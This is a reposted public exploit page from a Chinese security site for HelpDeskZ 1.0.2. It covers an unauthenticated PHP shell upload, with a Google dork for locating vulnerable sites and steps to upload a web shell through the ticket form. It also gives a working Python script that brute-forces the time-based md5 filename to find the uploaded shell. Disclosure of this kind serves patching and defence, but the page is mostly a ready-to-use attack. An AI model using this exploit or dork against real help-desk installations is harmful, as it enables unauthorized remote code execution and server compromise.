首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
HelpDeskZ 1.0.2 - Unauthenticated Shell Upload
来源:@krankoPwnz 作者:Morgenroth 发布时间:2016-08-30  
'''
# Exploit Title: HelpDeskZ <= v1.0.2 - Unauthenticated Shell Upload
# Google Dork: intext:"Help Desk Software by HelpDeskZ"
# Date: 2016-08-26
# Exploit Author: Lars Morgenroth - @krankoPwnz
# Vendor Homepage: http://www.helpdeskz.com/
# Software Link: https://github.com/evolutionscript/HelpDeskZ-1.0/archive/master.zip
# Version: <= v1.0.2
# Tested on:
# CVE :
 
HelpDeskZ <= v1.0.2 suffers from an unauthenticated shell upload vulnerability.
 
The software in the default configuration allows upload for .php-Files ( ?!?! ). I think the developers thought it was no risk, because the filenames get "obfuscated" when they are uploaded. However, there is a weakness in the rename function of the uploaded file:
 
/controllers <https://github.com/evolutionscript/HelpDeskZ-1.0/tree/006662bb856e126a38f2bb76df44a2e4e3d37350/controllers>/*submit_ticket_controller.php - Line 141*
$filename = md5($_FILES['attachment']['name'].time()).".".$ext;
 
So by guessing the time the file was uploaded, we can get RCE.
 
Steps to reproduce:
 
http://localhost/helpdeskz/?v=submit_ticket&action=displayForm
 
Enter anything in the mandatory fields, attach your phpshell.php, solve the captcha and submit your ticket.
 
Call this script with the base url of your HelpdeskZ-Installation and the name of the file you uploaded:
 
exploit.py http://localhost/helpdeskz/ phpshell.php
'''          
import hashlib
import time
import sys
import requests
 
print 'Helpdeskz v1.0.2 - Unauthenticated shell upload exploit'
 
if len(sys.argv) < 3:
    print "Usage: {} [baseUrl] [nameOfUploadedFile]".format(sys.argv[0])
    sys.exit(1)
 
helpdeskzBaseUrl = sys.argv[1]
fileName = sys.argv[2]
 
currentTime = int(time.time())
 
for x in range(0, 300):
    plaintext = fileName + str(currentTime - x)
    md5hash = hashlib.md5(plaintext).hexdigest()
 
    url = helpdeskzBaseUrl+md5hash+'.php'
    response = requests.head(url)
    if response.status_code == 200:
        print "found!"
        print url
        sys.exit(0)
 
print "Sorry, I did not find anything"
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Goron Webserver 2.0 - Multiple
·PHP 7.0 - Object Cloning Local
·NScan 0.9.1 - (Target) Buffer
·PHP 5.0.0 - domxml_open_file()
·INTELLINET IP Camera INT-L100M
·PHP 5.0.0 - simplexml_load_fil
·Prestashop VtermSlideShow Modu
·PHP 5.0.0 - xmldocfile() Local
·Prestashop Attributewizardpro
·PHP 5.0.0 - imap_mail() Local
·NECROSOFT NScan 0.9.1 Buffer O
·PHP 5.0.0 - hw_docbyanchor() L
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved